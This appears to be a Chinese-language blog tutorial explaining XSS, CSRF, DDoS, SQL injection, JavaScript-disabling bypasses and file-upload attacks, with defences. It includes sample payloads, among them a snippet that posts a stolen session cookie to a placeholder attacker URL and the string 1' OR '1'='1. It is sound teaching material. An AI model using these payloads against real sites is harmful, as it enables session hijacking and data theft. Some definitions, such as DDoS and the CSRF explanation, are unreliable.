1.XSS
說明:
XSS攻擊全稱 跨站腳本攻擊(Cross Site Scripting),是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS.
XSS簡單分為反射型、存儲型(DOM型屬于反射型的一種),其本質上是HTML注入,簡單來說就是通過某種手段引誘受害者(用戶)信任該腳本(或網站),進而可以使攻擊方的代碼在客戶端為所欲為.
常見的諸如各類釣魚網站,釣魚郵件,或是最簡單的頁面腳本注入等皆為此類型.
舉個栗子:
- 反射型:
反射型XSS需要欺騙用戶去執行(訪問或點擊)攻擊者構造的腳本,從而觸發js事件.也就是說,這種攻擊手段是被動執行的.
舉個栗子:
假如構造一個形如
http://demo/index.html?user=%3Cscript%3Ealert(233)%3C/script%3E
這樣的url,那么當用戶訪問該url時,script中的腳本就會被執行,同時由于domain為受信任的網站,所以可以正常獲取到用戶的敏感信息.
這種注入方式由于特征明顯,可以被很多瀏覽器過濾掉.
- 存儲型:
存儲型XSS將攻擊代碼持久化存儲在數據庫\服務器中,使得每次該數據被load時,該腳本都會被執行.
舉個栗子:
假如用戶輸入未被驗證,在數據庫中存儲了以下數據:
<script>alert("xxx");<script>
那么每當該數據被頁面讀取,該腳本就會被客戶端解析并加載一次.
當然,注入方式多種多樣,可能是未經過驗證的腳本輸入(<script></script>),或者一張帶有執行腳本的圖片文件(<img>).
防范:
防御XSS最棘手的地方就在于其切入點的多樣性,特別是在業務體量巨大的情況下,試圖篩選出所有XSS的注入點實在是費時費力.
一般而言,最基本的防范措施:
- 1.輸入過濾;
根據業務需求,適當過濾掉' " , < > \ <! --等特殊字符,盡量保證錄入后端的數據可靠性; - 2.輸出過濾;
同上,盡量保證輸出到頁面的數據可靠性; - 3.開啟瀏覽器自帶的XSS防護;
可以有效過濾很多低端釣魚鏈接;
防范XSS的核心在于記住一句話:
所有的輸入都是有害的。
2.CSRF
說明:
CSRF（Cross-site request forgery）跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用.盡管聽起來像跨站腳本XSS,但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站.與XSS攻擊相比,CSRF攻擊往往不大流行（因此對其進行防范的資源也相當稀少）和難以防范,所以被認為比XSS更具危險性.
CSRF的根本原因是服務器對用戶身份的過分信任或驗證機制的不完善.
CSRF可以使用XSS作為payload,在用戶不知情的情況下攫取受害者(用戶)的真實信息(cookie等),從而使用該真實信息向服務器發起請求.
舉個栗子:
假如某站將session_id以cookie的方式記錄在客戶端中,并且每次提交都以該session_id作為用戶身份識別的依據,那么在用戶已登錄的情況下,攻擊者只要通過上文介紹的XSS方式,誘騙或引導用戶執行以下代碼就能獲取這個關鍵的session_id:
var sid = $.cookie('session_id'); // 獲取用戶信息
$.POST('/攻擊方url', sid);
當攻擊者獲取session_id后,就可以在該身份有效期內利用這個session_id偽造成該用戶從而進行各種操作.當服務器的驗證方式不夠健全時,這種操作方式可以是致命的.
防范:
由于CSRF在客戶端難以被預測,所以防御手段主要集中在服務端.
- 1.驗證HTTP Referer字段:
該字段記錄了本次請求的來源,通過比對驗證該字段值可以拒絕來自白名單外的訪問請求.不過需要注意的是,來自某些來源的訪問并不帶有Referer字段(如桌面超鏈接,word文檔超鏈接等),并且Referer字段是可以被偽造的. - 2.使用獨特的加密規則,在每次請求中攜帶并驗證一個token的正確性:
這是目前最實用且易用的解決方案.需要注意的是,該token的加密及驗證方式需要足夠的安全性,避免驗證規則被暴力解析,并且在某些業務中,該方式并不足夠靈活. - 3.使用定制HTTP報頭:
定制一個HTTP的報頭并置于每次請求中,服務端收到請求后首先驗證報頭的正確性.不確定報頭能否被跨站偽造,所以該方式本人持懷疑態度. - 4.增加額外的驗證步驟:
在敏感操作前增加如驗證碼等操作,這樣會增加額外的操作,需要在用戶體驗和安全性之間做出權衡. - 5.對于一些安全等級較高或來源不可控的訪問業務(如支付,三方登陸等),現在有個比較流行的授權方案:
OAuth協議
該協議目前已是2.0版本,泛用性較高,并且各平臺將該協議演化出了不同版本.這里就不再贅述.
3.DDoS
說明:
DDoS是Denial of Service的簡稱，即拒絕服務，造成DDoS的攻擊行為被稱為DDoS攻擊，其目的是使計算機或網絡無法提供正常的服務。最常見的DDoS攻擊有計算機網絡帶寬攻擊和連通性攻擊。
DDoS攻擊是指故意的攻擊網絡協議實現的缺陷或直接通過野蠻手段殘忍地耗盡被攻擊對象的資源，目的是讓目標計算機或網絡無法提供正常的服務或資源訪問，使目標系統服務系統停止響應甚至崩潰，而在此攻擊中并不包括侵入目標服務器或目標網絡設備。這些服務資源包括網絡帶寬，文件系統空間容量，開放的進程或者允許的連接。這種攻擊會導致資源的匱乏，無論計算機的處理速度多快、內存容量多大、網絡帶寬的速度多快都無法避免這種攻擊帶來的后果。
最直接的例子就是前些年春運期間的12306,當訪問用戶過多時服務器處理不過來,只能宕機.
這種攻擊方式的危害不僅在于會讓過載的服務器宕機,更會由于異常的流量涌入導致服務器ip被運營商屏蔽,導致一段時間內該ip下的所有服務器都無法使用.
防范:
這種方式是針對服務器本體的,一些云服務提供商推出了一些容災措施,號稱可以扛住XXGB的攻擊,實際上也只是分布式容災而已.如果有人下血本使用DDoS來攻擊你的服務器,基本上是沒有什么辦法的(攤手).
4.SQL注入
說明:
所謂SQL注入，就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。具體來說，它是利用現有應用程序，將（惡意的）SQL命令注入到后臺數據庫引擎執行的能力，它可以通過在Web表單中輸入（惡意）SQL語句得到一個存在安全漏洞的網站上的數據庫，而不是按照設計者意圖去執行SQL語句。
不得不說這種方式實在很low,但是近些年因此翻車的各大網站也是比比皆是.
曾經有人這樣評價:這種攻擊方式就跟把你家大門踹開進去偷東西一樣low.
不多做評價了,隨便搜了個栗子:
某個網站的登錄驗證的SQL查詢代碼為：
strSQL = "SELECT * FROM users WHERE (name
= '" +
userName + "') and (pw
= '"+
passWord +"');"
惡意填入
userName = "1' OR '1'='1"; 與passWord = "1' OR '1'='1";
將導致原本的SQL字符串被填為
strSQL = "SELECT * FROM users WHERE (name
= '1' OR '1'='1') and (pw = '1' OR '1'='1');"
也就是實際上運行的SQL命令會變成下面這樣的
strSQL = "SELECT * FROM users;"
因此達到無賬號密碼，亦可登錄網站。所以SQL注入攻擊被俗稱為黑客的填空游戲。
防范:
SQL注入的本質在于它是一條語言而不是一個特定格式的API,它只能作為一條語句被整體執行.也就是說,輸入的內容可以直接進入SQL,一個元素就可以變成一條語句,那么SQL注入就無法防止.
所以,杜絕SQL語句的動態拼裝可以解決絕大多數的問題.
- 1.使用參數化查詢;
- 2.使用詞法分析;
- 3.使用noSQL;
5.停用js
說明:
假如由于某些原因(多半由于技術過菜),授權驗證的操作都在前端(大多是js)完成,那么直接禁用掉js就可以繞開這部分的驗證步驟...
如果上一種攻擊方式是踹大門偷東西,那么這種方式差不多就是點了一把火把房子燒了然后進去拿東西...
我一度覺得這種攻擊方式甚至不能被稱為攻擊,也許能算的上bug的一種.
隨手寫個栗子:
var auth = function () {
if (!user) {
alert(' authorize denied!! ');
// do something rejection
}
}
可見當user為false時,該函數會返回執行一系列拒絕操作.但是當js被禁用后,顯然拒絕操作不會被執行.
防范:
低級問題,無需多言.
6.文件上傳
說明:
文件上傳攻擊是指攻擊者利用WEB應用對上傳文件過濾不嚴,導致可以上傳應用程序定義類型范圍之外的文件到Web服務器.比如可以上傳一個網頁木馬,如果存放上傳文件的目錄剛好有執行腳本的權限,那么攻擊者就可以直接得到一個WebShell.
由于服務器端沒有對用戶上傳的文件進行正確的處理,導致攻擊者可以向某個可通過Web訪問的目錄上傳惡意文件,并且該文件可以被Web服務器解析執行.
攻擊者要想成功實施文件上傳攻擊,必須要滿足以下三個條件:
- 1.可以上傳任意腳本文件,且上傳的文件能夠被Web服務器解析執行,具體來說就是存放上傳文件的目錄要有執行腳本的權限.
- 2.用戶能夠通過Web訪問這個文件,如果文件上傳后,不能通過Web訪問,那么也不能成功實施攻擊.
- 3.要知道文件上傳到服務器后的存放路徑和文件名稱,因為許多Web應用都會修改上傳文件的文件名稱,那么這時就需要結合其他漏洞去獲取到這些信息,如果不知道上傳文件的存放路徑和文件名稱,即使你上傳了也無法訪問.
防范:
這種攻擊方式也是很基礎的,但是其危害性不容小覷.由于其局限性較強,所以可以針對其發動條件逐條排查:
- 1.檢查上傳文件的格式是否符合要求:
前端的格式驗證可能被某些工具繞過,所以最可靠的方式是后端以白名單的形式進行驗證. - 2.檢查文件名和Http content-type報頭:
強化上一條的檢查內容,檢查文件名中的%00等截斷符,阻止可能混淆在文件名中的可能性.檢查請求報頭和文件大小,對異常情況做出反應. - 3.增加文件的訪問權限:
針對不同的業務需求,適當提升部分文件的請求權限,使得該文件無法被普通用戶訪問或執行. - 4.使用隨機訪問路徑:
借鑒分布式的設計理念,在文件訪問路徑中混入隨機參數,避免文件被簡單的追蹤到. - 5.定期篩查文件,避免漏網之魚.
